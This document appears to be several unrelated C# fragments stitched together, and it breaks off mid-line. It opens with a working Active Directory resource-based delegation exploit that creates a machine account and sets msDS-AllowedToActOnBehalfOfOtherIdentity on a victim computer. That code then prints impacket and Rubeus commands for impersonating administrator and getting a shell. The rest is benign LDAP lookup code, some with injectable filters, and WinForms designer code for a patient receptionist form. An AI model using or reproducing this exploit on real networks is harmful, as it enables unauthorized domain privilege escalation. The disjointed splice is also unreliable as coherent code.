DC_array) { distinguished_name += ",DC=" + DC; victim_distinguished_name += ",DC=" + DC; } Console.WriteLine(victim_distinguished_name); Console.WriteLine("[+] Elevate permissions on " + victimcomputer); Console.WriteLine("[+] Domain = " + Domain); Console.WriteLine("[+] Domain Controller = " + DomainController); //Console.WriteLine("[+] Distinguished Name = " + distinguished_name); try{ //连接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录 System.DirectoryServices.Protocols.LdapConnection connection = null; //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc); connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind(); //通过ldap找计算机 System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + victim_distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(CN=" + victimcomputer + ")"; string[] requiredProperties = new string[] { "samaccountname" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } //添加机器并设置资源约束委派 if (result != null) { try { var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account) }); //添加机器账户 connection.SendRequest(request); Console.WriteLine("[+] New SAMAccountName = " + sam_account); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added"); } catch (System.Exception ex) { Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)"); Console.WriteLine("[-] Exception: " + ex.Message); return; } // 获取新计算机对象的SID var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null); var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request); SecurityIdentifier sid = null; foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries) { try { sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0); Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value); } catch { Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting..."); return; } } //设置资源约束委派 String sec_descriptor = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")"; RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(buffer, 0); //测试sddl转换结果 //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0); //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All)); // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中 try { var change_request = new System.DirectoryServices.Protocols.ModifyRequest(); change_request.DistinguishedName = victim_distinguished_name; DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification(); modifymsDS.Operation = DirectoryAttributeOperation.Replace; modifymsDS.Name = "msDS-AllowedToActOnBehalfOfOtherIdentity"; modifymsDS.Add(buffer); change_request.Modifications.Add(modifymsDS); connection.SendRequest(change_request); Console.WriteLine("[+] Exploit successfully!\n"); //打印利用方式 Console.WriteLine("[+] Use impacket to get priv!\n"); Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain); Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache"); Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain); Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n"); Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain); Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController); Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain); Console.WriteLine("\n[+] Done.."); } catch (System.Exception ex) { Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException); Console.WriteLine("[!] Failed..."); return; } } } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } }
} // End Function GetUserList private System.Data.DataTable GetUserList(string strUserName) { System.Data.DataTable dt = new System.Data.DataTable(); dt.Columns.Add("sAMAccountName", typeof(string)); dt.Columns.Add("DistinguishedName", typeof(string)); dt.Columns.Add("cn", typeof(string)); dt.Columns.Add("DisplayName", typeof(string)); dt.Columns.Add("EmailAddress", typeof(string)); dt.Columns.Add("DomainName", typeof(string)); dt.Columns.Add("Department", typeof(string)); dt.Columns.Add("title", typeof(string)); dt.Columns.Add("company", typeof(string)); dt.Columns.Add("memberof", typeof(string)); //using (System.DirectoryServices.DirectoryEntry rootDSE = new System.DirectoryServices.DirectoryEntry("LDAP://DC=cor,DC=local", username, password)) using (System.DirectoryServices.DirectoryEntry rootDSE = LdapTools.GetDE(m_RootDn)) { using (System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(rootDSE)) { search.PageSize = 1001;// To Pull up more than 100 records. //search.Filter = "(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))";//UserAccountControl will only Include Non-Disabled Users. string strUserCondition = ""; if (!string.IsNullOrEmpty(strUserName)) { // strUserCondition = "(samAccountName=" + strUserName + ")"; strUserCondition = "(|(samAccountName=" + strUserName + ")"; strUserCondition += "(userPrincipalName=" + strUserName + ")"; strUserCondition += "(mail=" + strUserName + "))"; } //UserAccountControl will only Include Non-Disabled Users. //search.Filter = "(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2)(samAccountName=stefan.steiger))"; search.Filter = string.Format("(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2){0})", strUserCondition); using (System.DirectoryServices.SearchResultCollection result = search.FindAll()) { foreach (System.DirectoryServices.SearchResult item in result) { string sAMAccountName = null; string DistinguishedName = null; string cn = null; string DisplayName = null; string EmailAddress = null; string DomainName = null; string Department = null; string title = null; string company = null; string memberof = null; if (item.Properties["sAMAccountName"].Count > 0) { sAMAccountName = item.Properties["sAMAccountName"][0].ToString(); } if (item.Properties["distinguishedName"].Count > 0) { DistinguishedName = item.Properties["distinguishedName"][0].ToString(); } if (item.Properties["cn"].Count > 0) { cn = item.Properties["cn"][0].ToString(); } if (item.Properties["DisplayName"].Count > 0) { DisplayName = item.Properties["DisplayName"][0].ToString(); } if (item.Properties["mail"].Count > 0) { EmailAddress = item.Properties["mail"][0].ToString(); } if (item.Properties["SamAccountName"].Count > 0) { DomainName = item.Properties["SamAccountName"][0].ToString(); } if (item.Properties["department"].Count > 0) { Department = item.Properties["department"][0].ToString(); } if (item.Properties["title"].Count > 0) { title = item.Properties["title"][0].ToString(); } if (item.Properties["company"].Count > 0) { company = item.Properties["company"][0].ToString(); } if (item.Properties["DistinguishedName"].Count > 0) { DistinguishedName = item.Properties["DistinguishedName"][0].ToString(); } if (item.Properties["memberof"].Count > 0) { // memberof = item.Properties["memberof"][0].ToString(); memberof = LdapTools.GetGroups(DistinguishedName, true); } if (item.Properties["AccountExpirationDate"].Count > 0) { string aaa = item.Properties["AccountExpirationDate"][0].ToString(); } System.Data.DataRow dr = dt.NewRow(); dr["sAMAccountName"] = sAMAccountName; dr["DistinguishedName"] = DistinguishedName; dr["cn"] = cn; dr["DisplayName"] = DisplayName; dr["EmailAddress"] = EmailAddress; dr["DomainName"] = DomainName; dr["Department"] = Department; dr["title"] = title; dr["company"] = company; dr["memberof"] = memberof; dt.Rows.Add(dr); DisplayName = string.Empty; EmailAddress = string.Empty; DomainName = string.Empty; Department = string.Empty; title = string.Empty; company = string.Empty; memberof = string.Empty; //rootDSE.Dispose(); } // Next SearchResult item } // End Using SearchResultCollection result } // End Using search } // End Using rootDSE return(dt); } // End Function GetUserList
static void GetGroupMembers() { string ldapHost = MySamples.TestSettings.ldapHost; int ldapPort = MySamples.TestSettings.ldapPort;//System.Convert.ToInt32(args[1]); string msldap = $"LDAP://{ldapHost}:{ldapPort}/DC=COR,DC=local"; string ms1 = $"LDAP://{ldapHost}:{ldapPort}/OU=Gruppen,OU=COR,DC=COR,DC=local"; string loginDN = MySamples.TestSettings.loginDN; // args[2]; string password = MySamples.TestSettings.password; // args[3]; string strGroup = "COR-VMPost"; strGroup = "G-ADM-APERTURE-UAT"; // System.DirectoryServices.AccountManagement. //bool valid = false; //// https://stackoverflow.com/questions/326818/how-to-validate-domain-credentials //using (System.DirectoryServices.AccountManagement.PrincipalContext context = // new System.DirectoryServices.AccountManagement.PrincipalContext(System.DirectoryServices.AccountManagement.ContextType.Domain)) //{ // valid = context.ValidateCredentials("username", "password"); //} bool bException = false; using (System.DirectoryServices.DirectoryEntry ldapConnection = new System.DirectoryServices.DirectoryEntry(msldap, loginDN, password)) { try { // deRootObject.boun if (ldapConnection.NativeObject == null) { bException = true; } } catch (System.Exception ex) { bException = true; System.Console.WriteLine(ex.Message); System.Console.WriteLine(ex.StackTrace); throw new System.InvalidOperationException("Cannot login with wrong credentials or LDAP-Path."); } using (System.DirectoryServices.DirectorySearcher dsSearcher = new System.DirectoryServices.DirectorySearcher(ldapConnection)) { dsSearcher.SearchScope = System.DirectoryServices.SearchScope.Subtree; dsSearcher.Filter = "(&(objectCategory=group)(CN=" + strGroup + "))"; using (System.DirectoryServices.SearchResultCollection srcSearchResultCollection = dsSearcher.FindAll()) { try { foreach (System.DirectoryServices.SearchResult srSearchResult in srcSearchResultCollection) { System.DirectoryServices.ResultPropertyCollection resultPropColl = srSearchResult.Properties; System.DirectoryServices.PropertyValueCollection memberProperty = srSearchResult.GetDirectoryEntry().Properties["member"]; for (int i = 0; i < memberProperty.Count; ++i) { string strUserName = System.Convert.ToString(memberProperty[i]); System.Console.WriteLine(strUserName); } // Next i } // Next srSearchResult } // End Try catch (System.Exception ex) { System.Console.WriteLine(ex.Message); System.Console.WriteLine(ex.StackTrace); } } // End using srcSearchResultCollection } // End Using dsSearcher } // End Using ldapConnection System.Console.WriteLine(System.Environment.NewLine); System.Console.WriteLine(" --- Press any key to continue --- "); System.Console.ReadKey(); }
/// <summary> /// Apply the conversion from username to email address. /// </summary> /// <param name="username">The username.</param> /// <returns>The email address.</returns> public string Convert(string username) { string ldapPath = @"LDAP://" + domainName; string ldapFilter = @"(&(objectClass=user)(SAMAccountName=" + username + "))"; string[] ldapProperties = { ldap_Mail, ldap_QueryField }; System.DirectoryServices.DirectoryEntry domain; if (ldap_LogOnUser.Length > 0 ) { domain = new System.DirectoryServices.DirectoryEntry(ldapPath,ldap_LogOnUser,ldap_LogOnPassword.PrivateValue); } else { domain = new System.DirectoryServices.DirectoryEntry(ldapPath); } System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(domain); System.DirectoryServices.SearchResult result; searcher.Filter = ldapFilter; searcher.PropertiesToLoad.AddRange(ldapProperties); result = searcher.FindOne(); searcher.Dispose(); // Check the result if (result != null) { return result.Properties[ldap_Mail][0].ToString(); } else { Core.Util.Log.Debug(string.Format(System.Globalization.CultureInfo.CurrentCulture,"No email adress found for user {0} in domain {1}",username,domainName)); return null; } }
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Receptionist)); this.monthCalendar1 = new System.Windows.Forms.MonthCalendar(); this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.button3 = new System.Windows.Forms.Button(); this.menuStrip1 = new System.Windows.Forms.MenuStrip(); this.staffProfileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.addNewFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.addNewPatientFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.button4 = new System.Windows.Forms.Button(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher(); this.textBox1 = new System.Windows.Forms.TextBox(); this.EnterCheckId = new System.Windows.Forms.Button(); this.label46 = new System.Windows.Forms.Label(); this.EnterPatientAddress = new System.Windows.Forms.TextBox(); this.patient = new System.Windows.Forms.Label(); this.label43 = new System.Windows.Forms.Label(); this.label42 = new System.Windows.Forms.Label(); this.label41 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.label31 = new System.Windows.Forms.Label(); this.label30 = new System.Windows.Forms.Label(); this.label29 = new System.Windows.Forms.Label(); this.label28 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.EnterPatientPhoneNumber = new System.Windows.Forms.TextBox(); this.EnterpatientLastName = new System.Windows.Forms.TextBox(); this.EnterPatientFirstName = new System.Windows.Forms.TextBox(); this.EnterPatiendId = new System.Windows.Forms.TextBox(); this.shapeContainer1 = new Microsoft.VisualBasic.PowerPacks.ShapeContainer(); this.rectangleShape2 = new Microsoft.VisualBasic.PowerPacks.RectangleShape(); this.rectangleShape1 = new Microsoft.VisualBasic.PowerPacks.RectangleShape(); this.label2 = new System.Windows.Forms.Label(); this.textBox2 = new System.Windows.Forms.TextBox(); this.label3 = new System.Windows.Forms.Label(); this.label7 = new System.Windows.Forms.Label(); this.label13 = new System.Windows.Forms.Label(); this.label14 = new System.Windows.Forms.Label(); this.textBox3 = new System.Windows.Forms.TextBox(); this.label10 = new System.Windows.Forms.Label(); this.textBox4 = new System.Windows.Forms.TextBox(); this.textBox8 = new System.Windows.Forms.TextBox(); this.label12 = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.textBox5 = new System.Windows.Forms.TextBox(); this.textBox7 = new System.Windows.Forms.TextBox(); this.label8 = new System.Windows.Forms.Label(); this.textBox6 = new System.Windows.Forms.TextBox(); this.label11 = new System.Windows.Forms.Label(); this.button5 = new System.Windows.Forms.Button(); this.button6 = new System.Windows.Forms.Button(); this.button7 = new System.Windows.Forms.Button(); this.button8 = new System.Windows.Forms.Button(); this.menuStrip1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.SuspendLayout(); // // monthCalendar1 // this.monthCalendar1.AccessibleRole = System.Windows.Forms.AccessibleRole.Column; this.monthCalendar1.BackColor = System.Drawing.Color.DarkSlateBlue; this.monthCalendar1.ForeColor = System.Drawing.SystemColors.ScrollBar; this.monthCalendar1.Location = new System.Drawing.Point(0, 33); this.monthCalendar1.Name = "monthCalendar1"; this.monthCalendar1.TabIndex = 0; this.monthCalendar1.TitleBackColor = System.Drawing.SystemColors.ButtonHighlight; this.monthCalendar1.TrailingForeColor = System.Drawing.Color.DarkViolet; this.monthCalendar1.DateChanged += new System.Windows.Forms.DateRangeEventHandler(this.monthCalendar1_DateChanged); // // button1 // this.button1.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button1.Location = new System.Drawing.Point(262, 637); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(246, 33); this.button1.TabIndex = 1; this.button1.Text = "Go to patient appointments"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // button2 // this.button2.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button2.Location = new System.Drawing.Point(743, 628); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(244, 41); this.button2.TabIndex = 2; this.button2.Text = "Check more of patients details"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.button2_Click); // // button3 // this.button3.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button3.Location = new System.Drawing.Point(743, 547); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(244, 44); this.button3.TabIndex = 3; this.button3.Text = "Go to Patient financial fees"; this.button3.UseVisualStyleBackColor = true; this.button3.Click += new System.EventHandler(this.button3_Click); // // menuStrip1 // this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.staffProfileToolStripMenuItem, this.addNewFileToolStripMenuItem, this.exitToolStripMenuItem}); this.menuStrip1.Location = new System.Drawing.Point(0, 0); this.menuStrip1.Name = "menuStrip1"; this.menuStrip1.Size = new System.Drawing.Size(1008, 24); this.menuStrip1.TabIndex = 7; this.menuStrip1.Text = "menuStrip1"; this.menuStrip1.ItemClicked += new System.Windows.Forms.ToolStripItemClickedEventHandler(this.menuStrip1_ItemClicked); // // staffProfileToolStripMenuItem // this.staffProfileToolStripMenuItem.Name = "staffProfileToolStripMenuItem"; this.staffProfileToolStripMenuItem.Size = new System.Drawing.Size(80, 20); this.staffProfileToolStripMenuItem.Text = "Staff Profile"; this.staffProfileToolStripMenuItem.Click += new System.EventHandler(this.staffProfileToolStripMenuItem_Click); // // addNewFileToolStripMenuItem // this.addNewFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addNewPatientFileToolStripMenuItem}); this.addNewFileToolStripMenuItem.Name = "addNewFileToolStripMenuItem"; this.addNewFileToolStripMenuItem.Size = new System.Drawing.Size(85, 20); this.addNewFileToolStripMenuItem.Text = "Add new file"; // // addNewPatientFileToolStripMenuItem // this.addNewPatientFileToolStripMenuItem.Name = "addNewPatientFileToolStripMenuItem"; this.addNewPatientFileToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.addNewPatientFileToolStripMenuItem.Text = "Add new patient file"; // // exitToolStripMenuItem // this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; this.exitToolStripMenuItem.Size = new System.Drawing.Size(37, 20); this.exitToolStripMenuItem.Text = "Exit"; this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click); // // button4 // this.button4.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button4.Location = new System.Drawing.Point(262, 547); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(246, 44); this.button4.TabIndex = 8; this.button4.Text = "Go to patient allocated room"; this.button4.UseVisualStyleBackColor = true; this.button4.Click += new System.EventHandler(this.button4_Click); // // pictureBox1 // this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); this.pictureBox1.Location = new System.Drawing.Point(0, 207); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(181, 231); this.pictureBox1.TabIndex = 9; this.pictureBox1.TabStop = false; this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click); // // directorySearcher1 // this.directorySearcher1.ClientTimeout = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerTimeLimit = System.TimeSpan.Parse("-00:00:01"); // // textBox1 // this.textBox1.Location = new System.Drawing.Point(0, 686); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(147, 20); this.textBox1.TabIndex = 11; // // EnterCheckId // this.EnterCheckId.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.EnterCheckId.Location = new System.Drawing.Point(826, 246); this.EnterCheckId.Name = "EnterCheckId"; this.EnterCheckId.Size = new System.Drawing.Size(122, 28); this.EnterCheckId.TabIndex = 159; this.EnterCheckId.Text = "Enter"; this.EnterCheckId.UseVisualStyleBackColor = true; // // label46 // this.label46.AutoSize = true; this.label46.Font = new System.Drawing.Font("Times New Roman", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label46.Location = new System.Drawing.Point(534, 33); this.label46.Name = "label46"; this.label46.Size = new System.Drawing.Size(156, 23); this.label46.TabIndex = 158; this.label46.Text = "Search for patient"; // // EnterPatientAddress // this.EnterPatientAddress.Location = new System.Drawing.Point(835, 193); this.EnterPatientAddress.Name = "EnterPatientAddress"; this.EnterPatientAddress.Size = new System.Drawing.Size(135, 20); this.EnterPatientAddress.TabIndex = 157; // // patient // this.patient.AutoSize = true; this.patient.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.patient.Location = new System.Drawing.Point(258, 130); this.patient.Name = "patient"; this.patient.Size = new System.Drawing.Size(121, 19); this.patient.TabIndex = 155; this.patient.Text = "Patient Last Name"; // // label43 // this.label43.AutoSize = true; this.label43.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label43.Location = new System.Drawing.Point(584, 192); this.label43.Name = "label43"; this.label43.Size = new System.Drawing.Size(31, 19); this.label43.TabIndex = 154; this.label43.Text = "OR"; // // label42 // this.label42.AutoSize = true; this.label42.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label42.Location = new System.Drawing.Point(584, 130); this.label42.Name = "label42"; this.label42.Size = new System.Drawing.Size(31, 19); this.label42.TabIndex = 153; this.label42.Text = "OR"; // // label41 // this.label41.AutoSize = true; this.label41.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label41.Location = new System.Drawing.Point(584, 74); this.label41.Name = "label41"; this.label41.Size = new System.Drawing.Size(31, 19); this.label41.TabIndex = 152; this.label41.Text = "OR"; // // label9 // this.label9.AutoSize = true; this.label9.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label9.Location = new System.Drawing.Point(258, 358); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(73, 19); this.label9.TabIndex = 149; this.label9.Text = "Patient ID:"; // // label31 // this.label31.AutoSize = true; this.label31.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label31.Location = new System.Drawing.Point(651, 192); this.label31.Name = "label31"; this.label31.Size = new System.Drawing.Size(101, 19); this.label31.TabIndex = 143; this.label31.Text = "Patient address"; // // label30 // this.label30.AutoSize = true; this.label30.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label30.Location = new System.Drawing.Point(651, 129); this.label30.Name = "label30"; this.label30.Size = new System.Drawing.Size(141, 19); this.label30.TabIndex = 142; this.label30.Text = "Patient Phone number"; // // label29 // this.label29.AutoSize = true; this.label29.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label29.Location = new System.Drawing.Point(651, 74); this.label29.Name = "label29"; this.label29.Size = new System.Drawing.Size(122, 19); this.label29.TabIndex = 141; this.label29.Text = "Patient First Name"; // // label28 // this.label28.AutoSize = true; this.label28.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label28.Location = new System.Drawing.Point(258, 73); this.label28.Name = "label28"; this.label28.Size = new System.Drawing.Size(106, 19); this.label28.TabIndex = 140; this.label28.Text = "Enter Patient ID"; // // label6 // this.label6.AutoSize = true; this.label6.Font = new System.Drawing.Font("Times New Roman", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label6.Location = new System.Drawing.Point(534, 302); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(131, 23); this.label6.TabIndex = 139; this.label6.Text = "Patient Profile"; // // EnterPatientPhoneNumber // this.EnterPatientPhoneNumber.Location = new System.Drawing.Point(835, 131); this.EnterPatientPhoneNumber.Name = "EnterPatientPhoneNumber"; this.EnterPatientPhoneNumber.Size = new System.Drawing.Size(135, 20); this.EnterPatientPhoneNumber.TabIndex = 138; // // EnterpatientLastName // this.EnterpatientLastName.Location = new System.Drawing.Point(422, 129); this.EnterpatientLastName.Name = "EnterpatientLastName"; this.EnterpatientLastName.Size = new System.Drawing.Size(135, 20); this.EnterpatientLastName.TabIndex = 137; // // EnterPatientFirstName // this.EnterPatientFirstName.Location = new System.Drawing.Point(835, 72); this.EnterPatientFirstName.Name = "EnterPatientFirstName"; this.EnterPatientFirstName.Size = new System.Drawing.Size(135, 20); this.EnterPatientFirstName.TabIndex = 136; // // EnterPatiendId // this.EnterPatiendId.Location = new System.Drawing.Point(422, 73); this.EnterPatiendId.Name = "EnterPatiendId"; this.EnterPatiendId.Size = new System.Drawing.Size(135, 20); this.EnterPatiendId.TabIndex = 135; this.EnterPatiendId.TextChanged += new System.EventHandler(this.EnterPatiendId_TextChanged); // // shapeContainer1 // this.shapeContainer1.Location = new System.Drawing.Point(0, 0); this.shapeContainer1.Margin = new System.Windows.Forms.Padding(0); this.shapeContainer1.Name = "shapeContainer1"; this.shapeContainer1.Shapes.AddRange(new Microsoft.VisualBasic.PowerPacks.Shape[] { this.rectangleShape2, this.rectangleShape1}); this.shapeContainer1.Size = new System.Drawing.Size(1008, 682); this.shapeContainer1.TabIndex = 160; this.shapeContainer1.TabStop = false; // // rectangleShape2 // this.rectangleShape2.Location = new System.Drawing.Point(236, 299); this.rectangleShape2.Name = "rectangleShape2"; this.rectangleShape2.Size = new System.Drawing.Size(766, 380); this.rectangleShape2.Click += new System.EventHandler(this.rectangleShape1_Click); // // rectangleShape1 // this.rectangleShape1.Location = new System.Drawing.Point(236, 25); this.rectangleShape1.Name = "rectangleShape1"; this.rectangleShape1.Size = new System.Drawing.Size(766, 271); this.rectangleShape1.Click += new System.EventHandler(this.rectangleShape1_Click); // // label2 // this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label2.Location = new System.Drawing.Point(258, 192); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(136, 19); this.label2.TabIndex = 161; this.label2.Text = "Patient email address"; // // textBox2 // this.textBox2.Location = new System.Drawing.Point(422, 191); this.textBox2.Name = "textBox2"; this.textBox2.Size = new System.Drawing.Size(135, 20); this.textBox2.TabIndex = 162; // // label3 // this.label3.AutoSize = true; this.label3.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label3.Location = new System.Drawing.Point(258, 495); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(136, 19); this.label3.TabIndex = 177; this.label3.Text = "Patient email address"; // // label7 // this.label7.AutoSize = true; this.label7.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label7.Location = new System.Drawing.Point(584, 495); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(31, 19); this.label7.TabIndex = 173; this.label7.Text = "OR"; // // label13 // this.label13.AutoSize = true; this.label13.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label13.Location = new System.Drawing.Point(651, 377); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(122, 19); this.label13.TabIndex = 168; this.label13.Text = "Patient First Name"; // // label14 // this.label14.AutoSize = true; this.label14.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label14.Location = new System.Drawing.Point(258, 376); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(106, 19); this.label14.TabIndex = 167; this.label14.Text = "Enter Patient ID"; // // textBox3 // this.textBox3.Location = new System.Drawing.Point(422, 494); this.textBox3.Name = "textBox3"; this.textBox3.Size = new System.Drawing.Size(135, 20); this.textBox3.TabIndex = 178; // // label10 // this.label10.AutoSize = true; this.label10.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, 